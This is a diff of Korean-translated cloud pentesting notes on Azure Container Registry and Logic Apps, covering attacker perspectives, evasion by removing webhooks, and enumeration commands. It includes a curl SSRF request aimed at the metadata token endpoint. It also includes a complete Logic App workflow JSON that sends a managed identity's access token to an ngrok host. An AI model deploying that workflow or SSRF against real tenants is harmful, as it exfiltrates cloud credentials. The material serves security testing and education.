오직 **프리미엄 SKU**만이 이미지 및 기타 아티팩트에 대한 **휴지 상태 암호화**를 지원합니다.
|
||||
|
||||
### Networking
|
||||
### 네트워킹
|
||||
|
||||
오직 **프리미엄 SKU**만이 **프라이빗 엔드포인트**를 지원합니다. 다른 SKU는 **공개 액세스**만 지원합니다. 공개 엔드포인트는 `<registry-name>.azurecr.io` 형식을 가지며, 프라이빗 엔드포인트는 `<registry-name>.privatelink.azurecr.io` 형식을 가집니다. 이러한 이유로 레지스트리의 이름은 모든 Azure에서 고유해야 합니다.
|
||||
|
||||
@@ -61,29 +61,29 @@ echo "Service principal password: $PASSWORD"
|
||||
|
||||
이 기능은 레지스트리에서 **이미지를 스캔**하여 **취약점**을 찾을 수 있게 해줍니다.
|
||||
|
||||
### Soft-delete
|
||||
### 소프트 삭제
|
||||
|
||||
**소프트 삭제** 기능은 지정된 일수 내에 **삭제된 레지스트리**를 **복구**할 수 있게 해줍니다. 이 기능은 **기본적으로 비활성화**되어 있습니다.
|
||||
|
||||
### Webhooks
|
||||
### 웹훅
|
||||
|
||||
레지스트리 내에서 **웹훅을 생성**하는 것이 가능합니다. 이 웹훅에서는 **푸시 또는 삭제 작업이 수행될 때 요청이 전송될 URL**을 지정해야 합니다. 또한, 웹훅은 영향을 받을 리포지토리(이미지)를 나타내기 위해 범위를 지정할 수 있습니다. 예를 들어, 'foo:\*'는 리포지토리 'foo' 아래의 이벤트를 의미합니다.
|
||||
|
||||
공격자의 관점에서 볼 때, 레지스트리에서 **어떤 작업을 수행하기 전에** 이를 확인하고 필요시 일시적으로 제거하여 탐지를 피하는 것이 흥미롭습니다.
|
||||
|
||||
### Connected registries
|
||||
### 연결된 레지스트리
|
||||
|
||||
이 기능은 기본적으로 한 레지스트리에서 다른 레지스트리로 이미지를 **미러링**할 수 있게 해주며, 일반적으로 온프레미스에 위치합니다.
|
||||
이 기능은 기본적으로 한 레지스트리에서 다른 레지스트리로 이미지를 **미러링**할 수 있게 해줍니다. 일반적으로 온프레미스에 위치합니다.
|
||||
|
||||
두 가지 모드가 있습니다: **읽기 전용** 및 **읽기/쓰기**. 첫 번째 모드에서는 이미지를 소스 레지스트리에서 **가져오기**만 하고, 두 번째 모드에서는 이미지를 소스 레지스트리에 **푸시**할 수 있습니다.
|
||||
2가지 모드가 있습니다: **읽기 전용** 및 **읽기/쓰기**. 첫 번째 모드에서는 이미지를 소스 레지스트리에서 **가져오기**만 하고, 두 번째 모드에서는 이미지를 소스 레지스트리에 **푸시**할 수 있습니다.
|
||||
|
||||
클라이언트가 Azure에서 레지스트리에 접근할 수 있도록, 연결된 레지스트리를 사용할 때 **토큰**이 생성됩니다.
|
||||
|
||||
### Runs & Tasks
|
||||
### 실행 및 작업
|
||||
|
||||
Runs & Tasks는 Azure에서 일반적으로 로컬 또는 CI/CD 파이프라인에서 수행해야 했던 컨테이너 관련 작업을 실행할 수 있게 해줍니다. 예를 들어, 레지스트리에서 **이미지를 빌드, 푸시 및 실행**할 수 있습니다.
|
||||
실행 및 작업은 Azure에서 일반적으로 로컬 또는 CI/CD 파이프라인에서 수행해야 했던 컨테이너 관련 작업을 실행할 수 있게 해줍니다. 예를 들어, 레지스트리에서 **이미지를 빌드, 푸시 및 실행**할 수 있습니다.
|
||||
|
||||
컨테이너를 빌드하고 실행하는 가장 쉬운 방법은 일반 Run을 사용하는 것입니다:
|
||||
컨테이너를 빌드하고 실행하는 가장 쉬운 방법은 일반 실행을 사용하는 것입니다:
|
||||
```bash
|
||||
# Build
|
||||
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
|
||||
@@ -94,18 +94,18 @@ az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world
|
||||
```
|
||||
그러나, 이는 공격자의 관점에서 그다지 흥미롭지 않은 실행을 유발할 것입니다. 왜냐하면 그들에게는 관리되는 ID가 연결되어 있지 않기 때문입니다.
|
||||
|
||||
그러나, **tasks**는 **system and user managed identity**를 연결할 수 있습니다. 이러한 작업은 컨테이너에서 **privileges**를 **escalate**하는 데 유용합니다. 권한 상승 섹션에서는 작업을 사용하여 권한을 상승시키는 방법을 볼 수 있습니다.
|
||||
그러나, **작업**은 **시스템 및 사용자 관리 ID**를 연결할 수 있습니다. 이러한 작업은 컨테이너에서 **권한 상승**에 유용합니다. 권한 상승 섹션에서는 작업을 사용하여 권한을 상승시키는 방법을 볼 수 있습니다.
|
||||
|
||||
### Cache
|
||||
### 캐시
|
||||
|
||||
캐시 기능은 **외부 리포지토리에서 이미지를 다운로드**하고 새로운 버전을 레지스트리에 저장할 수 있게 해줍니다. 이를 위해 Azure Vault에서 자격 증명을 선택하여 **credentials configured**를 설정해야 합니다.
|
||||
캐시 기능은 **외부 리포지토리에서 이미지를 다운로드**하고 새로운 버전을 레지스트리에 저장할 수 있게 해줍니다. 이를 위해 Azure Vault에서 자격 증명을 선택하여 **자격 증명 구성**이 필요합니다.
|
||||
|
||||
이는 공격자의 관점에서 매우 흥미롭습니다. 왜냐하면 공격자가 자격 증명에 접근할 수 있는 충분한 권한이 있다면 **외부 플랫폼으로 피벗**할 수 있게 해주기 때문입니다. **외부 리포지토리에서 이미지를 다운로드**하고 캐시를 구성하는 것은 **persistence mechanism**으로도 사용될 수 있습니다.
|
||||
이는 공격자의 관점에서 매우 흥미롭습니다. 왜냐하면 공격자가 자격 증명에 접근할 수 있는 충분한 권한이 있다면 **외부 플랫폼으로 피벗**할 수 있게 해주기 때문입니다. **외부 리포지토리에서 이미지를 다운로드**하고 캐시를 구성하는 것도 **지속성 메커니즘**으로 사용될 수 있습니다.
|
||||
|
||||
## Enumeration
|
||||
## 열거
|
||||
|
||||
> [!WARNING]
|
||||
> 레지스트리 이름에 대문자가 포함되어 있더라도, URL에 소문자만 사용해야 한다는 점이 매우 중요합니다.
|
||||
> 레지스트리 이름에 대문자가 포함되어 있더라도, 이를 접근하기 위한 URL에서는 소문자만 사용해야 한다는 것이 매우 중요합니다.
|
||||
```bash
|
||||
# List of all the registries
|
||||
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
|
||||
@@ -143,13 +143,19 @@ az acr cache list --registry <registry-name>
|
||||
# Get cache details
|
||||
az acr cache show --name <cache-name> --registry <registry-name>
|
||||
```
|
||||
## 인증되지 않은 접근
|
||||
|
||||
{{#ref}}
|
||||
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
|
||||
{{#endref}}
|
||||
|
||||
## 권한 상승 및 포스트 익스플로잇
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
../az-privilege-escalation/az-container-registry-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## 참고 문헌
|
||||
## 참고자료
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)
|
||||
|
||||
@@ -4,99 +4,175 @@
|
||||
|
||||
## 기본 정보
|
||||
|
||||
Azure Logic Apps는 Microsoft Azure에서 제공하는 클라우드 기반 서비스로, 개발자가 **다양한 서비스**, 데이터 소스 및 애플리케이션을 통합하는 워크플로를 **생성하고 실행**할 수 있게 해줍니다. 이러한 워크플로는 **비즈니스 프로세스를 자동화**하고, 작업을 조정하며, 다양한 플랫폼 간 데이터 통합을 수행하도록 설계되었습니다.
|
||||
Azure Logic Apps는 개발자가 **다양한 서비스**, 데이터 소스 및 애플리케이션을 통합하는 워크플로를 **생성하고 실행**할 수 있도록 합니다. 이러한 워크플로는 **비즈니스 프로세스를 자동화**하고, 작업을 조정하며, 다양한 플랫폼 간 데이터 통합을 수행하도록 설계되었습니다.
|
||||
|
||||
Logic Apps는 **광범위한 사전 구축된 커넥터**를 사용하여 워크플로를 생성할 수 있는 시각적 디자이너를 제공합니다. 이를 통해 Office 365, Dynamics CRM, Salesforce 등 다양한 서비스에 쉽게 연결하고 상호작용할 수 있습니다. 또한 특정 요구에 맞는 사용자 정의 커넥터를 생성할 수도 있습니다.
|
||||
Logic Apps는 **광범위한 사전 구축된 커넥터**를 사용하여 워크플로를 생성할 수 있는 **비주얼 디자이너**를 제공합니다. 이를 통해 다양한 서비스에 쉽게 연결하고 상호작용할 수 있습니다:
|
||||
|
||||
Logic App을 생성할 때는 워크플로 상태, 실행 기록 및 아티팩트를 저장하는 외부 스토리지 계정을 생성하거나 연결해야 합니다. 이 스토리는 모니터링을 위한 진단 설정으로 구성할 수 있으며, 네트워크 접근 제한으로 보안을 강화하거나 가상 네트워크에 통합하여 인바운드 및 아웃바운드 트래픽을 제어할 수 있습니다.
|
||||
<figure><img src="../../../images/image (197).png" alt="https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png"><figcaption></figcaption></figure>
|
||||
|
||||
### 예시
|
||||
|
||||
- **데이터 파이프라인 자동화**: Logic Apps는 Azure Data Factory와 결합하여 **데이터 전송 및 변환 프로세스**를 자동화할 수 있습니다. 이는 Azure SQL Database와 Azure Blob Storage와 같은 다양한 데이터 저장소 간에 데이터를 이동하고 변환하는 확장 가능하고 신뢰할 수 있는 데이터 파이프라인을 생성하는 데 유용하며, 분석 및 비즈니스 인텔리전스 작업을 지원합니다.
|
||||
- **Azure Functions와 통합**: Logic Apps는 Azure Functions와 함께 작동하여 **필요에 따라 확장되는 정교한 이벤트 기반 애플리케이션**을 개발하고 다른 Azure 서비스와 원활하게 통합할 수 있습니다. 예를 들어, Logic App을 사용하여 Azure Storage 계정의 변경과 같은 특정 이벤트에 응답하여 Azure Function을 트리거하는 사용 사례가 있습니다. 이를 통해 동적 데이터 처리가 가능합니다.
|
||||
|
||||
### LogicAPP 시각화
|
||||
|
||||
그래픽으로 LogicApp을 볼 수 있습니다:
|
||||
|
||||
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
또는 "**Logic app code view**" 섹션에서 코드를 확인할 수 있습니다.
|
||||
|
||||
### SSRF 보호
|
||||
|
||||
**Logic App이 SSRF에 취약하더라도**, Logic Apps는 메타데이터에서 자격 증명에 접근할 수 없으므로 자격 증명에 접근할 수 없습니다.
|
||||
|
||||
예를 들어, 다음과 같은 것은 토큰을 반환하지 않습니다:
|
||||
```bash
|
||||
# The URL belongs to a Logic App vulenrable to SSRF
|
||||
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
|
||||
```
|
||||
### 호스팅 옵션
|
||||
|
||||
여러 호스팅 옵션이 있습니다:
|
||||
여러 가지 호스팅 옵션이 있습니다:
|
||||
|
||||
* **소비형**
|
||||
- **다중 테넌트**: 공유 컴퓨팅 리소스를 제공하며, 공용 클라우드에서 운영되고, 작업당 요금 모델을 따릅니다. 이는 경량 및 비용 효율적인 작업에 이상적입니다. "단일 워크플로우"를 배포합니다.
|
||||
- **다중 테넌트**: 공유 컴퓨팅 리소스를 제공하며, 공용 클라우드에서 운영되고, 작업당 요금 모델을 따릅니다. 이는 경량 및 비용 효율적인 워크로드에 적합합니다. 이를 "단일 워크플로"라고 부릅니다.
|
||||
* **표준**
|
||||
- **워크플로우 서비스 계획**: 네트워킹을 위한 VNET 통합이 있는 전용 컴퓨팅 리소스이며, 워크플로우 서비스 계획 인스턴스당 요금을 부과합니다. 더 많은 제어가 필요한 요구가 많은 작업에 적합합니다.
|
||||
- **앱 서비스 환경 V3**: 완전한 격리 및 확장성을 갖춘 전용 컴퓨팅 리소스입니다. 또한 네트워킹을 위해 VNET과 통합되며, 환경 내의 앱 서비스 인스턴스를 기반으로 한 요금 모델을 사용합니다.
|
||||
- **하이브리드**: 로컬 처리 및 다중 클라우드 지원을 위해 설계되었습니다. 고객 관리형 컴퓨팅 리소스를 로컬 네트워크 접근과 함께 허용하며, Kubernetes 이벤트 기반 자동 확장(KEDA)을 활용합니다. 컨테이너 앱 연결 환경에 의존합니다.
|
||||
- **워크플로 서비스 계획**: 네트워킹을 위한 VNET 통합과 함께 전용 컴퓨팅 리소스를 제공하며, 워크플로 서비스 계획 인스턴스당 요금을 부과합니다. 이는 더 많은 제어가 필요한 요구가 높은 워크로드에 적합합니다.
|
||||
- **앱 서비스 환경 V3:** 완전한 격리 및 확장성을 갖춘 전용 컴퓨팅 리소스를 제공합니다. 또한 네트워킹을 위해 VNET과 통합되며, 환경 내 앱 서비스 인스턴스를 기반으로 한 요금 모델을 사용합니다.
|
||||
- **하이브리드:** 로컬 처리 및 다중 클라우드 지원을 위해 설계되었습니다. 고객 관리형 컴퓨팅 리소스를 로컬 네트워크 액세스와 함께 허용하며, Kubernetes 이벤트 기반 자동 확장(KEDA)을 활용합니다. 이는 컨테이너 앱 연결 환경에 의존합니다.
|
||||
|
||||
### 주요 기능
|
||||
- **스토리지**: Logic Apps는 워크플로우 상태, 실행 기록 등을 저장하기 위해 외부 Azure Storage 계정이 필요하며, Logic App과 동일한 리소스 그룹에 있어야 합니다.
|
||||
- **네트워킹 및 보안**: Logic Apps는 공용 또는 사설 접근으로 구성할 수 있습니다. 기본적으로 앱은 인터넷에 열려 있지만, 격리된 연결을 위해 Azure 가상 네트워크와 통합될 수 있습니다.
|
||||
- **애플리케이션 인사이트**: Azure Monitor Application Insights를 통해 애플리케이션 성능 관리(APM)를 활성화하여 성능을 추적하고, 이상을 감지하며, 분석을 제공합니다.
|
||||
- **액세스 제어**: Logic Apps는 시스템 관리형 ID 및 사용자 관리형 ID를 지원합니다.
|
||||
## "단일" 워크플로 / 소비형 계획
|
||||
|
||||
### "단일" 워크플로우
|
||||
**워크플로**는 특정 프로세스나 목표를 실행하는 자동화된 단계 또는 작업의 구조화된 순서입니다. 이는 다양한 작업, 조건 및 결정이 어떻게 상호작용하여 원하는 결과를 달성하는지를 정의하며, 운영을 간소화하고 수작업 노력을 줄입니다.
|
||||
|
||||
**워크플로우**는 특정 프로세스나 목표를 실행하는 자동화된 단계 또는 작업의 구조화된 순서입니다. 이는 다양한 작업, 조건 및 결정이 상호 작용하여 원하는 결과를 달성하는 방법을 정의하며, 운영을 간소화하고 수동 노력을 줄입니다. 워크플로우는 여러 시스템을 통합하고, 이벤트 및 규칙을 트리거하여 프로세스의 일관성과 효율성을 보장합니다.
|
||||
> [!TIP]
|
||||
> 소비형 계획은 **Logic App 자체 없이 단일 워크플로를 생성할 수 있습니다**.
|
||||
|
||||
Azure Logic Apps는 **Logic App 자체 없이 단일 워크플로우를 생성하는 기능**을 제공합니다.
|
||||
### 트리거 및 작업
|
||||
|
||||
각 워크플로우는 서로 다른 **트리거**를 가지고 있습니다. 이러한 트리거는 워크플로우가 따르는 단계입니다. 각 트리거는 트리거 유형에 따라 달라질 수 있는 매개변수를 가지고 있습니다:
|
||||
- 연결 이름
|
||||
- **인증 유형**: 액세스 키, Microsoft Entra ID, 통합 서비스 주체 인증 및 Logic Apps 관리 ID가 될 수 있습니다.
|
||||
워크플로 트리거는 **워크플로가 시작되어야 할 시점**을 나타냅니다. 트리거는 HTTP 엔드포인트, 일정 또는 Azure 또는 외부 앱의 수십 가지 다양한 이벤트일 수 있습니다.
|
||||
|
||||
트리거는 다양한 설정도 가지고 있습니다:
|
||||
- 스키마 검증: 수신 데이터가 미리 정의된 구조를 따르는지 확인합니다.
|
||||
- 동시성 제어: 병렬 실행 수를 제한합니다.
|
||||
- 트리거 조건: 트리거가 발동되기 전에 충족해야 하는 조건입니다.
|
||||
- 네트워킹: 데이터 전송을 위한 청크 크기를 구성하고 응답에서 워크플로우 헤더를 억제할 수 있습니다.
|
||||
- **보안**: 로그 및 출력에서 민감한 데이터를 숨기기 위해 **보안 입력/출력**을 활성화합니다.
|
||||
각 워크플로에는 다양한 **작업**이 있습니다. 이러한 작업은 워크플로가 따르는 단계입니다. 작업에 따라 구성할 수 있는 다양한 매개변수가 제공됩니다. 예를 들어:
|
||||
|
||||
**설정 및 API 연결:**
|
||||
- **연결 이름**: 작업이 상호작용할 연결.
|
||||
- **인증 유형:** 다양한 옵션으로는 액세스 키, Microsoft Entra ID, 통합 서비스 주체 인증 및 Logic Apps 관리 ID가 있습니다.
|
||||
- 읽기 전용 관점에서 **인증** 데이터는 항상 흥미롭습니다. 이는 민감한 정보를 포함할 수 있기 때문입니다.
|
||||
- 쓰기 관점에서 **인증** 데이터는 항상 흥미롭습니다. 이는 할당된 관리 ID의 권한을 사용할 수 있게 할 수 있기 때문입니다.
|
||||
- ...
|
||||
|
||||
워크플로우에는 다음과 같은 다양한 설정이 있습니다:
|
||||
- 허용된 수신 IP 주소: 이 설정은 Logic App을 트리거하거나 시작할 수 있는 대상을 제한합니다. 옵션은 모든 IP, 다른 Logic Apps만, 특정 IP 범위입니다.
|
||||
- 통합 계정: 여기에서 Logic App을 통합 계정에 연결할 수 있습니다.
|
||||
- 높은 처리량: 이 설정은 Logic App이 더 많은 요청을 신속하게 처리할 수 있도록 합니다.
|
||||
- 실행 기록 보존: Logic App 실행의 기록이 유지되는 기간입니다.
|
||||
작업은 또한 작업 자체에 따라 다양한 **설정**을 가집니다. 가장 일반적인 설정 중 일부는 다음과 같습니다:
|
||||
|
||||
워크플로우가 가진 다양한 API 연결을 볼 수 있습니다. 이러한 연결 내에서 서로 다른 속성과 API 연결을 편집할 수 있는 가능성이 있으며, 인증 유형을 변경할 수 있습니다.
|
||||
- **재시도 정책**: 재시도 횟수와 그 사이의 간격을 구성합니다.
|
||||
- **타임아웃**: 작업이 타임아웃되기 전에 실행할 수 있는 최대 시간을 설정합니다.
|
||||
- **실행 후**: 작업이 실행되기 전에 충족해야 하는 조건을 지정합니다.
|
||||
- **스키마 검증**: 수신 데이터가 미리 정의된 구조를 따르는지 확인합니다.
|
||||
- **네트워킹**: 다양한 헤더를 관리하는 방법을 구성합니다.
|
||||
- **보안 입력/출력**: 실행 기록에서 입력/출력 데이터를 숨깁니다.
|
||||
- ...
|
||||
|
||||
**기록 및 버전:**
|
||||
다양한 실행의 **기록**에 접근할 수 있는 옵션이 있으며, 설정, 출력, 매개변수 및 코드를 보여줍니다.
|
||||
### 권한 정책
|
||||
|
||||
또한 워크플로우의 다양한 **버전**에 접근할 수 있는 옵션이 있으며, 여기에서 코드를 확인하고 현재 워크플로우를 이전 버전으로 변경할 수 있습니다.
|
||||
|
||||
**인증:**
|
||||
Azure Logic Apps는 유효한 액세스 토큰을 요구하여 요청 기반 트리거를 보호하기 위해 Entra ID와 함께 **인증 정책**을 지원합니다. 이 토큰은 특정 클레임을 포함해야 합니다:
|
||||
- 발급자(iss): 신원 제공자를 확인합니다.
|
||||
- 수신자(aud): 토큰이 Logic App을 위한 것인지 확인합니다.
|
||||
- 주체(sub): 호출자를 식별합니다.
|
||||
이러한 워크플로는 **권한 정책**을 지원하여 유효한 액세스 토큰을 요구함으로써 요청 기반 트리거를 보호합니다. 이 토큰은 특정 클레임을 포함해야 합니다:
|
||||
- 발급자(iss)로 신원 제공자를 검증
|
||||
- 수신자(aud)로 토큰이 Logic App을 위한 것인지 확인
|
||||
- 주체(sub)로 호출자를 식별
|
||||
- JWT ID (JSON 웹 토큰 식별자)
|
||||
- 사용자 정의 클레임
|
||||
|
||||
요청이 수신되면, Logic Apps는 이러한 클레임에 대해 토큰을 검증하고, 구성된 정책과 일치하는 경우에만 실행을 허용합니다. 이는 다른 테넌트가 워크플로우를 트리거하도록 허용하거나 다른 출처에서의 트리거를 거부하는 데 사용할 수 있습니다. 예를 들어, https://login.microsoftonline.com/에서 오는 트리거만 허용할 수 있습니다.
|
||||
요청이 수신되면 Logic Apps는 이러한 클레임에 대해 토큰을 검증하고, 구성된 정책과 일치하는 경우에만 실행을 허용합니다. 이는 다른 테넌트가 워크플로를 트리거하도록 허용하거나 다른 소스에서의 트리거를 거부하는 데 사용할 수 있습니다. 예를 들어, https://login.microsoftonline.com/에서 오는 트리거만 허용할 수 있습니다.
|
||||
|
||||
**액세스 키:**
|
||||
요청 기반 트리거를 처음 저장할 때, Logic Apps는 워크플로우를 호출할 수 있는 권한을 부여하는 SAS 서명이 포함된 고유한 엔드포인트를 자동으로 생성합니다. 이 SAS 서명은 트리거의 URL에 포함됩니다. 이 키는 재생성할 수 있으며, 새로운 SAS 서명을 제공하지만, 키는 나열할 수 없습니다.
|
||||
### 액세스 키
|
||||
|
||||
액세스 키로 호출하는 URL:
|
||||
워크플로는 생성될 때 **2개의 액세스 키**를 생성합니다. 이러한 키는 워크플로에 대한 요청을 인증하고 승인하는 데 사용됩니다. 키는 요청 URL에 포함되는 공유 액세스 서명(SAS) 토큰을 생성하는 데 사용됩니다.
|
||||
|
||||
따라서 HTTP 엔드포인트 트리거가 생성되면, 워크플로를 호출할 수 있는 권한을 부여하는 **SAS 서명이 있는 고유한 HTTP 엔드포인트**가 생성됩니다.
|
||||
|
||||
이 **키는 재생성할 수** 있으며, 이러한 트리거에 대한 새로운 SAS URL이 생성되지만, **키 값은 접근할 수 없습니다**.
|
||||
|
||||
트리거를 호출하기 위한 SAS URL의 예:
|
||||
```
|
||||
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
|
||||
```
|
||||
### Workflow Settings & Components
|
||||
|
||||
- **Trigger access option**: 이 설정은 워크플로우를 트리거하거나 시작할 수 있는 대상을 제한할 수 있게 해줍니다. 옵션은 Any IP, Only other workflow 및 Specific IP ranges입니다.
|
||||
- **Integration account**: 워크플로우를 Integration Account에 연결합니다.
|
||||
- **High throughput**: 활성화하면 더 많은 요청을 병렬로 빠르게 처리할 수 있습니다.
|
||||
- **Run history retention**: 실행 기록을 보관할 일수를 나타냅니다.
|
||||
- **API connections**: 워크플로우가 가진 다양한 API 연결을 보여줍니다. 각 연결 내에는 다양한 속성이 있으며, 인증 유형을 변경할 수 있는 API 연결을 편집할 수 있는 가능성이 있습니다.
|
||||
- **History**: 이전 실행의 **history**에 접근하고 데이터: 설정, 출력, 매개변수 및 코드를 가져올 수 있는 옵션이 있습니다.
|
||||
- **Versions**: 워크플로우의 다양한 **versions**에 접근할 수 있는 옵션이 있으며, 여기서 코드를 확인하고 현재 워크플로우를 이전 버전으로 변경할 수 있습니다.
|
||||
- **Managed Identities**: 워크플로우에 1개의 시스템 관리 ID와 서버 사용자 관리 ID를 할당할 수 있습니다.
|
||||
|
||||
### Leak MI access tokens
|
||||
|
||||
워크플로우의 HTTP 작업은 외부 웹에 데이터를 전송하는 데 사용될 수 있습니다. HTTP 작업의 **Advanced parameters**에서 **Authentication Type**을 **`Managed identity`**로 구성한 다음 사용할 **할당된 Managed Identity**를 선택할 수 있습니다 (시스템 또는 사용자).
|
||||
|
||||
또한, **`Audience`**에 생성된 JWT의 대상을 지정할 수 있으며, 예를 들어 **`https://management.azure.com/`**와 같이 생성된 토큰을 Azure 관리 API에 접근하는 데 사용할 수 있습니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 공격자가 제어하는 서버에 HTTP 요청을 보내도록 작업을 설정하면 워크플로우에 할당된 관리 ID의 **access token**이 **leak**될 수 있습니다.
|
||||
|
||||
> [!TIP]
|
||||
> 공격자는 다른 유형의 작업을 사용하여 **다른 Azure 서비스에 직접 접근**하고 관리 ID의 권한으로 작업을 수행할 수도 있습니다.
|
||||
|
||||
다음은 HTTP 엔드포인트를 노출하고 HTTP 작업을 사용하여 구성된 URL(이 경우 ngrok)로 액세스 토큰을 **leak**하는 워크플로우의 코드입니다:
|
||||
|
||||
<details>
|
||||
<summary>Workflow code</summary>
|
||||
```json
|
||||
{
|
||||
"definition": {
|
||||
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
|
||||
"contentVersion": "1.0.0.0",
|
||||
"triggers": {
|
||||
"When_a_HTTP_request_is_received": {
|
||||
"type": "Request",
|
||||
"kind": "Http"
|
||||
}
|
||||
},
|
||||
"actions": {
|
||||
"HTTP": {
|
||||
"runAfter": {},
|
||||
"type": "Http",
|
||||
"inputs": {
|
||||
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
|
||||
"method": "GET",
|
||||
"authentication": {
|
||||
"type": "ManagedServiceIdentity",
|
||||
"audience": "https://management.azure.com/"
|
||||
}
|
||||
},
|
||||
"runtimeConfiguration": {
|
||||
"contentTransfer": {
|
||||
"transferMode": "Chunked"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"outputs": {},
|
||||
"parameters": {
|
||||
"$connections": {
|
||||
"type": "Object",
|
||||
"defaultValue": {}
|
||||
}
|
||||
}
|
||||
},
|
||||
"parameters": {
|
||||
"$connections": {
|
||||
"type": "Object",
|
||||
"value": {}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
## Logic Apps / Standard Plan
|
||||
|
||||
### "Single" 워크플로우와의 차이점
|
||||
|
||||
Logic Apps는 기본적으로 여러 워크플로우를 호스팅할 수 있는 **로직 앱을 호스팅하기 위해 백그라운드에서 App Service를 사용합니다**. 이는 로직 앱이 App Service와 "Single" 워크플로우의 모든 기능을 갖추고 있음을 의미합니다.
|
||||
|
||||
몇 가지 주요 기능은 다음과 같습니다:
|
||||
|
||||
- **App Service Plan**: Standard 플랜의 Logic Apps는 App Service Plan에서 호스팅되므로 다음과 같은 모든 App Service 기능을 사용할 수 있습니다:
|
||||
- **네트워크 제한**: 접근 가능한 위치를 지정합니다.
|
||||
- **배포 센터**: Github, Bitbucket, Azure Repos, External Git 및 Local Git과 같은 외부 플랫폼에서 배포합니다.
|
||||
- **FTP 접근**: FTP를 통해 Logic App의 파일에 접근할 수 있습니다.
|
||||
- **스토리지 계정**: 서비스 앱은 정보를 저장하기 위해 스토리지 계정을 사용합니다.
|
||||
- **환경 변수 및 앱 설정**: 환경 변수 및 앱 설정을 구성할 수 있으며(스토리지 계정에 대한 액세스 키와 같은 민감한 정보를 찾을 수 있음).
|
||||
- ...
|
||||
- **매개변수**: 매개변수를 사용하면 개발, 테스트 및 프로덕션 간에 변동하는 값을 관리할 수 있습니다. 이를 통해 먼저 워크플로우를 설계한 다음 나중에 환경별 설정을 쉽게 조정할 수 있습니다.
|
||||
- **전용 리소스**: Standard 플랜의 Logic Apps는 전용 리소스를 갖습니다.
|
||||
- **다중 워크플로우**: 여러 워크플로우를 생성할 수 있습니다.
|
||||
|
||||
App Services에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-app-services.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
### 열거
|
||||
|
||||
@@ -203,17 +279,19 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Integration Accounts
|
||||
|
||||
|
||||
## Integration Accounts
|
||||
**Integration Accounts**는 Azure Logic Apps의 기능입니다. Integration Accounts는 EDI, AS2 및 XML 스키마 관리를 포함한 고급 B2B 기능을 활성화하여 기업 수준의 통합을 용이하게 합니다. Integration Accounts는 Logic Apps에 사용되는 다음 아티팩트를 저장하는 Azure의 컨테이너입니다:
|
||||
|
||||
* Schemas: 통합 계정에서 메시지를 검증하고 처리하기 위한 XML 스키마를 관리합니다.
|
||||
* Maps: 통합 워크플로 내에서 데이터 형식을 변환하기 위해 XSLT 기반 변환을 구성합니다.
|
||||
* Assemblies: 논리 및 데이터 처리를 간소화하기 위해 통합 계정 어셈블리를 관리합니다.
|
||||
* Certificates: 메시지를 암호화하고 서명하기 위한 인증서를 처리하여 안전한 통신을 보장합니다.
|
||||
* Partners: B2B 거래를 위한 거래 파트너 정보를 관리하여 원활한 통합을 가능하게 합니다.
|
||||
* Agreements: 거래 파트너와 데이터 교환을 위한 규칙 및 설정을 구성합니다 (예: EDI, AS2).
|
||||
* Batch Configurations: 메시지를 효율적으로 그룹화하고 처리하기 위한 배치 처리 구성을 관리합니다.
|
||||
* RosettaNet PIP: B2B 통신을 표준화하기 위해 RosettaNet Partner Interface Processes (PIPs)를 구성합니다.
|
||||
* **Schemas**: 통합 계정에서 메시지를 검증하고 처리하기 위한 XML 스키마를 관리합니다.
|
||||
* **Maps**: 통합 워크플로 내에서 데이터 형식을 변환하기 위해 XSLT 기반 변환을 구성합니다.
|
||||
* **Assemblies**: 논리 및 데이터 처리를 간소화하기 위해 통합 계정 어셈블리를 관리합니다.
|
||||
* **Certificates**: 메시지를 암호화하고 서명하기 위한 인증서를 처리하여 안전한 통신을 보장합니다.
|
||||
* **Partners**: B2B 거래를 위한 거래 파트너 정보를 관리하여 원활한 통합을 가능하게 합니다.
|
||||
* **Agreements**: 거래 파트너와 데이터를 교환하기 위한 규칙 및 설정을 구성합니다 (예: EDI, AS2).
|
||||
* **Batch Configurations**: 메시지를 효율적으로 그룹화하고 처리하기 위한 배치 처리 구성을 관리합니다.
|
||||
* **RosettaNet PIP**: B2B 통신을 표준화하기 위해 RosettaNet Partner Interface Processes (PIPs)를 구성합니다.
|
||||
|
||||
#### Enumeration
|
||||
|
||||
